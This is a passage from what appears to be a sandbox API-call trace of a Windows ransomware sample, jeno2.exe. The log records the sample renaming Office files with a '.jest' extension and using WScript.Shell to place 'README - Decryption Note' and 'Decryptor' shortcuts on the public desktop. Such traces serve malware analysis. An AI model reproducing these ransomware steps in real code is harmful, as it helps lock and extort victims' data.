halpmcxz\\desktop\\v2c3pstfoem06uupgrfdoyf0z6kyrrqp_sictu5exucqi-sod4bgyikmmqczps74a-wolypifac3 ngs gfh2ghwmjcmv-nyydle0.tmp")) returned 0 [0173.630] GetLastError () returned 0x2 [0173.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.jest")) returned 1 [0173.636] VarBstrFromR4 (in: fltIn=0x47945b97, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.18") returned 0x0 [0173.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EID8gZvTw9UM_GydRNttwI_YyN4JrPC WLBTXhhV6w21p-pfgRelU-3j7F2uTFEdTzl8DFJuDmMruNuAKLSnKLcfT5-rQ-jiHHLY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eid8gzvtw9um_gydrnttwi_yyn4jrpc wlbtxhhv6w21p-pfgrelu-3j7f2utfedtzl8dfjudmmrunuaklsnklcft5-rq-jihhly.tmp")) returned 0 [0173.637] GetLastError () returned 0x2 [0173.641] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.jest")) returned 1 [0173.643] VarBstrFromR4 (in: fltIn=0x47945b98, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75959.19") returned 0x0 [0173.644] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w1DXFUOjnEV5A-Vij5mY4pYMRukmrRHWtYFfWoiXmqTZrYy9UmOCLaYSze0q6SovTAJdaMAG6oHqVsALN7PWHBycoKfKnsbUp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w1dxfuojnev5a-vij5my4pymrukmrrhwtyffwoixmqtzryy9umoclaysze0q6sovtajdamag6ohqvsaln7pwhbycokfknsbup.tmp")) returned 0 [0173.644] GetLastError () returned 0x2 [0173.702] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x18ed74 | out: lpclsid=0x18ed74*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0173.705] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0173.706] CoCreateInstance (in: rclsid=0x18ed74*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), pUnkOuter=0x0, dwClsContext=0x5, riid=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ee18 | out: ppv=0x18ee18*=0x3924bc) returned 0x0 [0174.376] WshShell:IUnknown:QueryInterface (in: This=0x3924bc, riid=0x72970540*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0x18ee28 | out: ppvObject=0x18ee28*=0x0) returned 0x80004002 [0174.376] WshShell:IUnknown:QueryInterface (in: This=0x3924bc, riid=0x72970750*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0x18ee2c | out: ppvObject=0x18ee2c*=0x0) returned 0x80004002 [0174.376] WshShell:IUnknown:QueryInterface (in: This=0x3924bc, riid=0x72970450*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18edf8 | out: ppvObject=0x18edf8*=0x3924a8) returned 0x0 [0174.376] WshShell:IUnknown:Release (This=0x3924bc) returned 0x1 [0174.376] WshShell:IUnknown:AddRef (This=0x3924a8) returned 0x2 [0174.377] WshShell:IUnknown:Release (This=0x3924a8) returned 0x1 [0174.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0174.377] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.377] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.377] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0174.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f5634, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0174.377] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0174.378] WshShell:IDispatch:GetIDsOfNames (in: This=0x3924a8, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee00*="CreateShortCut", cNames=0x1, lcid=0x409, rgDispId=0x18ee04 | out: rgDispId=0x18ee04*=1002) returned 0x0 [0174.387] WshShell:IDispatch:Invoke (in: This=0x3924a8, dispIdMember=1002, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x18edd4*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1="C:\\Users\\Public\\Desktop\\README - Decryption Note.lnk" (normalized: "c:\\users\\public\\desktop\\readme - decryption note.lnk"), varVal2=0x72a26c43)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x18ef28, pExcepInfo=0x18edb4, puArgErr=0x18ede4 | out: pDispParams=0x18edd4*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1="C:\\Users\\Public\\Desktop\\README - Decryption Note.lnk", varVal2=0x72a26c43)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x18ef28*(varType=0x9, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1=0x3924d8, varVal2=0x0), pExcepInfo=0x18edb4*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18ede4*=0x72a478d9) returned 0x0 [0174.392] WshShell:IUnknown:AddRef (This=0x3924d8) returned 0x2 [0174.393] WshShell:IUnknown:Release (This=0x3924d8) returned 0x1 [0174.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0174.393] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.393] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.393] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0174.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436ab4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0174.393] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0174.394] WshShell:IDispatch:GetIDsOfNames (in: This=0x3924d8, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="TargetPath", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1005) returned 0x0 [0174.395] WshShell:IDispatch:Invoke (in: This=0x3924d8, dispIdMember=1005, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\note.ini", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\note.ini", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0174.404] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.404] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.404] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0174.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f560c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0174.405] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0174.405] WshShell:IDispatch:GetIDsOfNames (in: This=0x3924d8, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="WorkingDirectory", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1007) returned 0x0 [0174.405] WshShell:IDispatch:Invoke (in: This=0x3924d8, dispIdMember=1007, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0174.406] WshShell:IDispatch:GetIDsOfNames (in: This=0x3924d8, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="WindowStyle", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1006) returned 0x0 [0174.406] WshShell:IDispatch:Invoke (in: This=0x3924d8, dispIdMember=1006, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x2, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x2, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0174.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0174.406] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.406] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.406] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0174.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436794, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0174.406] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0174.407] WshShell:IDispatch:GetIDsOfNames (in: This=0x3924d8, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="IconLocation", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1003) returned 0x0 [0174.407] WshShell:IDispatch:Invoke (in: This=0x3924d8, dispIdMember=1003, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\System32\\notepad.exe", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\System32\\notepad.exe", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0174.409] WshShell:IDispatch:GetIDsOfNames (in: This=0x3924d8, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee14*="Save", cNames=0x1, lcid=0x409, rgDispId=0x18ee18 | out: rgDispId=0x18ee18*=2001) returned 0x0 [0174.409] WshShell:IDispatch:Invoke (in: This=0x3924d8, dispIdMember=2001, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x18ede8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x18edc8, puArgErr=0x18edf8 | out: pDispParams=0x18ede8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x18edc8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edf8*=0x72a478d9) returned 0x0 [0174.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0174.432] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.432] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.432] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0174.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14da79c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0174.432] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0174.432] WshShell:IDispatch:GetIDsOfNames (in: This=0x3924a8, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee00*="CreateShortCut", cNames=0x1, lcid=0x409, rgDispId=0x18ee04 | out: rgDispId=0x18ee04*=1002) returned 0x0 [0174.433] WshShell:IDispatch:Invoke (in: This=0x3924a8, dispIdMember=1002, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x18edd4*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1="C:\\Users\\Public\\Desktop\\Decryptor.lnk" (normalized: "c:\\users\\public\\desktop\\decryptor.lnk"), varVal2=0x72a26c43)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x18ef28, pExcepInfo=0x18edb4, puArgErr=0x18ede4 | out: pDispParams=0x18edd4*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1="C:\\Users\\Public\\Desktop\\Decryptor.lnk", varVal2=0x72a26c43)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x18ef28*(varType=0x9, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1=0x39fe18, varVal2=0x0), pExcepInfo=0x18edb4*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18ede4*=0x72a478d9) returned 0x0 [0174.433] WshShell:IUnknown:AddRef (This=0x39fe18) returned 0x2 [0174.433] WshShell:IUnknown:Release (This=0x3924d8) returned 0x0 [0174.434] WshShell:IUnknown:Release (This=0x39fe18) returned 0x1 [0174.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0174.434] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.434] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0174.434] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0174.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f560c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0174.434] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0174.434] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18ec8c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0174.434] lstrcpynA (in: lpString1=0x18eb78, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0174.435] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0174.435] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c508 [0174.435] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c530 [0174.435] lstrcpyA (in: lpString1=0x383c508, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0174.436] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x6) returned 0x38374e0 [0174.436] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c530 | out: hHeap=0x3820000) returned 1 [0174.436] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c508 | out: hHeap=0x3820000) returned 1 [0174.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0174.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x1465adc, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0174.436] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374e0 | out: hHeap=0x3820000) returned 1 [0174.436] WshShell:IDispatch:GetIDsOfNames (in: This=0x39fe18, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="TargetPath", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1005) returned 0x0 [0174.438] WshShell:IDispatch:Invoke (in: This=0x39fe18, dispIdMember=1005, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\jeno2.exe", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\jeno2.exe", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0175.175] WshShell:IDispatch:GetIDsOfNames (in: This=0x39fe18, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="Arguments", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1000) returned 0x0 [0175.175] WshShell:IDispatch:Invoke (in: This=0x39fe18, dispIdMember=1000, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="-ui", varVal2=0x0)), 